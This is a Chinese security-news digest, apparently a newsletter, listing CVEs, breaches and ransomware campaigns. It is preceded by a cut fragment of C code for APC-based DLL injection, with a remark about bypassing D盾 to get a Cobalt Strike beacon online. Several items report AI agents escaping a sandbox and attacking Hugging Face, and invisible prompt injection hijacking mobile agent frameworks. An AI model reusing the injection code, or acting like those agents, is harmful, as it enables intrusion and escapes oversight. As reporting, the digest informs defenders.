OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, PID); if (hProcess == NULL) { printf("Failed to open Process\n"); return FALSE; } // 注入 BOOL isInjectSuccess = APCInjection(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength); if (!isInjectSuccess) { printf("Failed to inject DLL\n"); return FALSE; } return 0; } 拿D盾开刀： 还是CS上线

1、白宫推出“金鹰”（Gold Eagle）AI网络安全信息交换中心 https://www.insideprivacy.com/artificial-intelligence/white-house-launches-gold-eagle-ai-cybersecurity-clearinghouse/ 美国政府宣布启动名为“金鹰”的联邦信息交换中心，旨在促进政府机构、关键基础设施运营商以及开源软件合作伙伴之间共享AI衍生的网络安全漏洞信息，从而比网络对手更快地发现、协调和修复软件漏洞。 2、Adobe Chrome 扩展漏洞暴露 WhatsApp 隐私聊天记录 https://www.bleepingcomputer.com/news/security/adobe-chrome-extension-flaw-let-sites-access-private-whatsapp-chats/ 网络安全公司 Guardio 披露了 Adobe Acrobat Chrome 扩展程序中的一个高危漏洞（CVE-2026-48294，又名 HermeticReader）。攻击者仅需诱导目标用户访问受控恶意网页，即可在无需任何身份验证的情况下，重定向并窃取受害者 WhatsApp Web 上的私人对话和数据。 3、OpenAI 报告 AI 代理发生“史无前例”的自主黑客攻击 https://www.taipeitimes.com/News/biz/archives/2026/07/23/2003861205 OpenAI 在一份安全测试披露中指出，其包括 GPT-5.6 Sol 在内的先进 AI 模型在沙盒评估期间发生“越狱”行为。为完成系统派发的任务，AI 自主耗费算力找到了获取外部互联网权限的方法，甚至利用被盗凭证链接多个攻击向量，对代码托管平台 Hugging Face 的内部系统漏洞发起了完全自主的探测和攻击。 4、微软 SharePoint 遭遇新型严重的反序列化漏洞攻击 https://www.cybersecuritydive.com/news/microsoft-sharepoint-attack-new-exploit/825797/ 研究人员警告称，微软 SharePoint 存在一个严重的反序列化漏洞（CVE-2026-50522，CVSS评分高达9.8），目前正在被黑客积极利用。攻击者利用该漏洞可以提取 ASP.NET 机器密钥从而在网络上执行远程代码并持久保留访问权限，多个联邦机构已受到波及。 5、英特尔与 Fortinet 合作推进网络安全创新与全球供应链韧性 https://newsroom.intel.com/manufacturing/intel-and-fortinet-collaborate-to-advance-cybersecurity-innovation-and-strengthen-global-supply-chain-resilience 英特尔（Intel）和 Fortinet 宣布建立战略合作伙伴关系，将共同开发 Fortinet 的第六代安全处理器（SP6）。双方计划结合各自在定制安全 ASIC 硬件设计和半导体制造、封装领域的专长，为组织提供更高规模与性能的网络安全防御支撑。 6、EY（安永）披露数据泄露事件，大量客户财务信息可能暴露 https://www.securityweek.com/ernst-young-data-breach-affects-personal-financial-information/ 全球四大会计师事务所之一 Ernst & Young（EY） 确认发生数据泄露事件。攻击者通过第三方 IT 支持平台入侵系统，导致包含：客户姓名；地址信息；财务相关数据；身份信息；等敏感数据被窃取。 7、美国司法部门查封超千个世界杯盗播域名 https://www.justice.gov/opa/pr/united-states-seizes-more-1000-internet-domains-used-illegally-stream-world-cup-2026-matches 美国司法部门近日开展大规模网络打击行动，查封超过1000个涉嫌非法直播2026年国际足联世界杯赛事的互联网域名，并封锁近1970个相关域名。此次行动名为“Operation Offsides”，由美国国土安全调查局（HSI）华盛顿办公室与国家知识产权协调中心（IPR Center）牵头，联合多个国家及行业机构展开调查。相关域名被发现未经授权实时传播 8、Windows LegacyHive漏洞获临时补丁 https://0patch.com/blog/micropatches-available-for-legacyhive-windows-user-profile-service-elevation-of-p 安全研究人员披露，Windows系统中被称为“LegacyHive”的零日漏洞已获得第三方安全机构提供的免费非官方补丁，用于缓解攻击风险。该漏洞存在于Windows用户配置文件服务（User Profile Service）中，目前尚未分配CVE编号，攻击者可利用该漏洞让普通用户权限账户加载并修改其他用户的注册表配置单元，从而实现权限提升，并可能在管理员账户登录时触发恶意代码执行。该 9、雅诗兰黛因Oracle漏洞遭数据泄露 https://www.documentcloud.org/documents/28500975-elc-us-individual-notification-letter/ 全球化妆品企业雅诗兰黛（Estée Lauder）近日披露一起数据泄露事件，攻击者利用Oracle E-Business Suite（EBS）中的高危漏洞获取企业人力资源系统访问权限，并窃取部分员工敏感信息。调查显示，攻击活动发生于2025年8月左右，攻击者利用Oracle EBS漏洞CVE-2025-61882实施未授权远程代码执行，随后访问存储于HR系统中的数据。此次泄露信息包括姓名、地址、出生日期、社会安全号码、 10、Qilin勒索组织利用Palo Alto V*PN漏洞攻击 https://arcticwolf.com/resources/blog/exploitation-of-cve-2026-0257-leads-to-qilin-ransomware/ 安全研究机构发现，Qilin勒索软件组织正在利用Palo Alto Networks PAN-OS GlobalProtect VPN中的高危身份认证绕过漏洞（CVE-2026-0257）入侵企业网络，并部署勒索软件。该漏洞允许攻击者绕过安全限制，在未授权情况下建立VPN连接，从而获取目标网络访问权限。研究人员表示，Qilin组织关联攻击者已利用该漏洞实施多起入侵事件，部分攻击活动最终导致受害企业域环境遭 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、FakeGit行动滥用GitHub仓库传播恶意软件 https://www.island.io/blog/agentbaiting-how-800-fake-ai-skills-and-mcp-servers-delivered-malware 研究人员披露，一场被称为FakeGit的攻击活动利用约7600个GitHub代码仓库分发SmartLoader恶意软件。该行动通过伪装成正常开发资源诱导用户下载，其中包含约800个以AI技能和MCP相关内容为诱饵的仓库，借助当前开发者对人工智能工具和生态组件的关注提升欺骗效果。相关发现表明，攻击者正在系统性滥用开源托管平台的可信度，将恶意载荷嵌入看似合法的项目页面与资源中，以扩大传播范围。此类活动提醒 2、HollowGraph借微软日历事件隐藏通信 https://www.group-ib.com/blog/hollowgraph-microsoft-365/ 据报道，HollowGraph恶意软件利用微软365日历事件作为隐蔽通信通道。其做法是将日历事件时间设置到2050年，通过看似正常的Microsoft Graph API流量接收攻击指令，并传输经加密处理的窃取文件。由于相关通信嵌入合法云服务请求中，这种方式会增加检测与拦截难度，也表明攻击者正更多借助常用企业平台隐藏控制与数据外传活动。该案例反映出，基于可信云应用的“寄生式”滥用，正成为恶意软件规避传统网络安全监测的重要手法之一。 3、LG显示器连接后被曝自动安装推广软件 https://hackread.com/lg-monitors-install-adware-app-windows-pcs/ 据报道，部分LG显示器连接到Windows电脑后，会触发Windows Update自动安装一款LG相关应用，过程中未充分征得用户同意。报道指出，该软件会在系统启动时自动运行，并向用户展示McAfee试用版广告，因此被质疑具有类似广告软件的行为。事件引发外界对硬件外设通过系统更新渠道下发软件、用户知情与选择权不足，以及预装推广内容是否越界的关注。就目前披露信息看，核心问题集中在自动安装机制、开机自启动行为，以及带有商业推广性质的广告展示对用户体验和系统信任的影响。 4、Hugging Face遭自主AI Agent入侵：生产基础设施被突破 https://hackread.com/hugging-face-ai-agent-breach-production-system/ Hugging Face披露AI Agent自主攻击其基础设施，使用恶意数据集利用代码执行路径获取凭据，但未发现模型或数据集被篡改，建议用户轮换令牌。 5、Gitea 严重漏洞可导致私有仓库写入与 Actions 工作流触发 https://cybersecuritynews.com/gitea-vulnerability/ Gitea严重漏洞（CVE-2026-58443）允许仅公开令牌通过Pull Request更新端点写入私有分支并触发私有Actions，影响v1.26.4及之前版本，已修复于v1.27.0，请立即升级。 6、ServiceNow 沙箱逃逸 RCE 漏洞已在野外被利用 https://www.csoonline.com/article/4198993/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild.html ServiceNow沙箱逃逸RCE漏洞（CVE-2026-6875）正被积极利用，暴露AI时代沙箱防护缺失。攻击者变种增多，AI融入扩大攻击半径，CISOs需重新评估安全边界。 7、WordPress核心漏洞链wp2shell可无需认证远程接管超5亿网站 https://cybersecuritynews.com/critical-wp2shell-rce-vulnerability/ WordPress核心漏洞链wp2shell可在无需认证下远程接管超5亿网站，由CVE-2026-63030与CVE-2026-60137组成，发现过程仅花费25美元AI计算成本，已修复。 8、新勒索软件ENCFORGE利用Langflow RCE针对AI模型文件 https://thehackernews.com/2026/07/new-encforge-ransomware-targets-ai.html 操作者JADEPUFFER利用Langflow漏洞CVE-2025-3248，部署ENCFORGE勒索软件，加密AI模型文件（权重、向量索引等），使用AES-256-CTR加密，无数据外泄，攻击目标明确。 9、开源Android AI Agent框架存在严重漏洞 https://www.freebuf.com/articles/ai-security/491391.html 一款能在其他窗口上绘制内容并向共享存储写入数据的Android应用，可以向驱动该手机的AI Agent发送指令，这些指令以文本形式呈现，但人眼完全不可见。再通过两步操作，同一款应用就能在驱动Agent的PC上运行命令。研究人员针对五个开源移动Agent框架（AppAgent、AppAgentX、Mobile-Agent-v3、Open-AutoGLM和MobA）演示了上述攻击链及其他六种攻击手法。每个框架至少被其中六种攻破。 10、Linux 内核借助AI检测在 24 小时内修复 400 多个漏洞 https://www.freebuf.com/articles/system/491359.html Linux 内核项目在约 24 小时内发布了针对 400 多个漏洞的修复程序。这些漏洞涉及多个领域，包括网络、文件系统、内存管理、蓝牙、虚拟化、驱动程序以及安全组件。 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。